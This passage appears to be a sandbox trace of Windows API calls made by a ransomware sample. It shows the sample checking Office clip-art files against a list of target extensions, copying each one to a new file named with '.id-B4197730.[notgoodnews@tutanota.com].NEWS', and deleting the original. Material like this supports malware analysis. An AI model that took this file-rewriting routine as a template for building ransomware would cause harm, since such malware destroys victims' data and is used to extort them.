(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.408] lstrlenW (lpString=".zip") returned 4 [0087.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.408] lstrlenW (lpString=".rar") returned 4 [0087.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.408] lstrlenW (lpString=".bz2") returned 4 [0087.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.408] lstrlenW (lpString=".7z") returned 3 [0087.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.408] lstrlenW (lpString=".dbf") returned 4 [0087.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.408] lstrlenW (lpString=".1cd") returned 4 [0087.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.408] lstrlenW (lpString=".jpg") returned 4 [0087.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.408] lstrlenW (lpString=".doc") returned 4 [0087.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.408] lstrlenW (lpString=".docx") returned 5 [0087.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.408] lstrlenW (lpString=".pdf") returned 4 [0087.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.408] lstrlenW (lpString=".xls") returned 4 [0087.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.408] lstrlenW (lpString=".xlsx") returned 5 [0087.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.408] lstrlenW (lpString=".ppt") returned 4 [0087.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.408] lstrlenW (lpString=".zip") returned 4 [0087.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.409] lstrlenW (lpString=".rar") returned 4 [0087.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.409] lstrlenW (lpString=".bz2") returned 4 [0087.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.409] lstrlenW (lpString=".7z") returned 3 [0087.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.409] lstrlenW (lpString=".dbf") returned 4 [0087.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.409] lstrlenW (lpString=".1cd") returned 4 [0087.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0087.409] lstrlenW (lpString=".jpg") returned 4 [0087.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.409] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.409] lstrlenW (lpString="HH00260_.WMF") returned 12 [0087.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.409] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3662) returned 1 [0087.409] CloseHandle (hObject=0x308) returned 1 [0087.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0087.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0087.410] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.410] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0087.904] GetLastError () returned 0x0 [0087.904] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xe4e, lpOverlapped=0x0) returned 1 [0087.906] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe50, lpOverlapped=0x0) returned 1 [0087.907] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.907] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.907] SetEndOfFile (hFile=0x384) returned 1 [0087.907] CloseHandle (hObject=0x384) returned 1 [0087.908] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.908] SetEndOfFile (hFile=0x308) returned 1 [0087.908] CloseHandle (hObject=0x308) returned 1 [0087.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0087.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.909] lstrlenW (lpString=".doc") returned 4 [0087.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.909] lstrlenW (lpString=".docx") returned 5 [0087.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.909] lstrlenW (lpString=".pdf") returned 4 [0087.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.909] lstrlenW (lpString=".xls") returned 4 [0087.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.909] lstrlenW (lpString=".xlsx") returned 5 [0087.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.909] lstrlenW (lpString=".ppt") returned 4 [0087.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.910] lstrlenW (lpString=".zip") returned 4 [0087.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.910] lstrlenW (lpString=".rar") returned 4 [0087.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.910] lstrlenW (lpString=".bz2") returned 4 [0087.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.910] lstrlenW (lpString=".7z") returned 3 [0087.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.910] lstrlenW (lpString=".dbf") returned 4 [0087.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.910] lstrlenW (lpString=".1cd") returned 4 [0087.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.910] lstrlenW (lpString=".jpg") returned 4 [0087.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.910] lstrlenW (lpString=".doc") returned 4 [0087.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.910] lstrlenW (lpString=".docx") returned 5 [0087.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.910] lstrlenW (lpString=".pdf") returned 4 [0087.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.910] lstrlenW (lpString=".xls") returned 4 [0087.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.910] lstrlenW (lpString=".xlsx") returned 5 [0087.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.910] lstrlenW (lpString=".ppt") returned 4 [0087.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.911] lstrlenW (lpString=".zip") returned 4 [0087.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.911] lstrlenW (lpString=".rar") returned 4 [0087.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.911] lstrlenW (lpString=".bz2") returned 4 [0087.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.911] lstrlenW (lpString=".7z") returned 3 [0087.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.911] lstrlenW (lpString=".dbf") returned 4 [0087.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.911] lstrlenW (lpString=".1cd") returned 4 [0087.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0087.912] lstrlenW (lpString=".jpg") returned 4 [0087.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.912] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.912] lstrlenW (lpString="HH00276_.WMF") returned 12 [0087.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.915] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3016) returned 1 [0087.915] CloseHandle (hObject=0x2c4) returned 1 [0087.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0087.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.915] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.915] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.915] GetLastError () returned 0x0 [0087.915] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0087.917] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0087.918] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.918] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.918] SetEndOfFile (hFile=0x344) returned 1 [0087.918] CloseHandle (hObject=0x344) returned 1 [0087.918] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.918] SetEndOfFile (hFile=0x2c4) returned 1 [0087.919] CloseHandle (hObject=0x2c4) returned 1 [0087.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0087.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.919] lstrlenW (lpString=".doc") returned 4 [0087.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.920] lstrlenW (lpString=".docx") returned 5 [0087.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.920] lstrlenW (lpString=".pdf") returned 4 [0087.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.920] lstrlenW (lpString=".xls") returned 4 [0087.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.920] lstrlenW (lpString=".xlsx") returned 5 [0087.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.920] lstrlenW (lpString=".ppt") returned 4 [0087.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.920] lstrlenW (lpString=".zip") returned 4 [0087.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.920] lstrlenW (lpString=".rar") returned 4 [0087.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.920] lstrlenW (lpString=".bz2") returned 4 [0087.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.920] lstrlenW (lpString=".7z") returned 3 [0087.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.920] lstrlenW (lpString=".dbf") returned 4 [0087.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.920] lstrlenW (lpString=".1cd") returned 4 [0087.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.920] lstrlenW (lpString=".jpg") returned 4 [0087.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.920] lstrlenW (lpString=".doc") returned 4 [0087.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.920] lstrlenW (lpString=".docx") returned 5 [0087.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.920] lstrlenW (lpString=".pdf") returned 4 [0087.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.921] lstrlenW (lpString=".xls") returned 4 [0087.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.921] lstrlenW (lpString=".xlsx") returned 5 [0087.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.921] lstrlenW (lpString=".ppt") returned 4 [0087.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.921] lstrlenW (lpString=".zip") returned 4 [0087.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.921] lstrlenW (lpString=".rar") returned 4 [0087.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.921] lstrlenW (lpString=".bz2") returned 4 [0087.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.921] lstrlenW (lpString=".7z") returned 3 [0087.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.921] lstrlenW (lpString=".dbf") returned 4 [0087.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.921] lstrlenW (lpString=".1cd") returned 4 [0087.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0087.921] lstrlenW (lpString=".jpg") returned 4 [0087.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.921] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.921] lstrlenW (lpString="HH00334_.WMF") returned 12 [0087.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.922] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=1528) returned 1 [0087.922] CloseHandle (hObject=0x2c4) returned 1 [0087.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0087.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.922] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.922] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.923] GetLastError () returned 0x0 [0087.923] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x5f8, lpOverlapped=0x0) returned 1 [0087.924] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x600, lpOverlapped=0x0) returned 1 [0087.925] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.925] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.925] SetEndOfFile (hFile=0x344) returned 1 [0087.925] CloseHandle (hObject=0x344) returned 1 [0087.925] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.925] SetEndOfFile (hFile=0x2c4) returned 1 [0087.926] CloseHandle (hObject=0x2c4) returned 1 [0087.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0087.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.927] lstrlenW (lpString=".doc") returned 4 [0087.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.927] lstrlenW (lpString=".docx") returned 5 [0087.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.927] lstrlenW (lpString=".pdf") returned 4 [0087.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.927] lstrlenW (lpString=".xls") returned 4 [0087.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.927] lstrlenW (lpString=".xlsx") returned 5 [0087.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.927] lstrlenW (lpString=".ppt") returned 4 [0087.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0087.927] lstrlenW (lpString=".zip") returned 4 [0087.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.927] lstrlenW (lpString=".rar") returned 4 [0087.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.927] lstrlenW (lpString=".bz2") returned 4 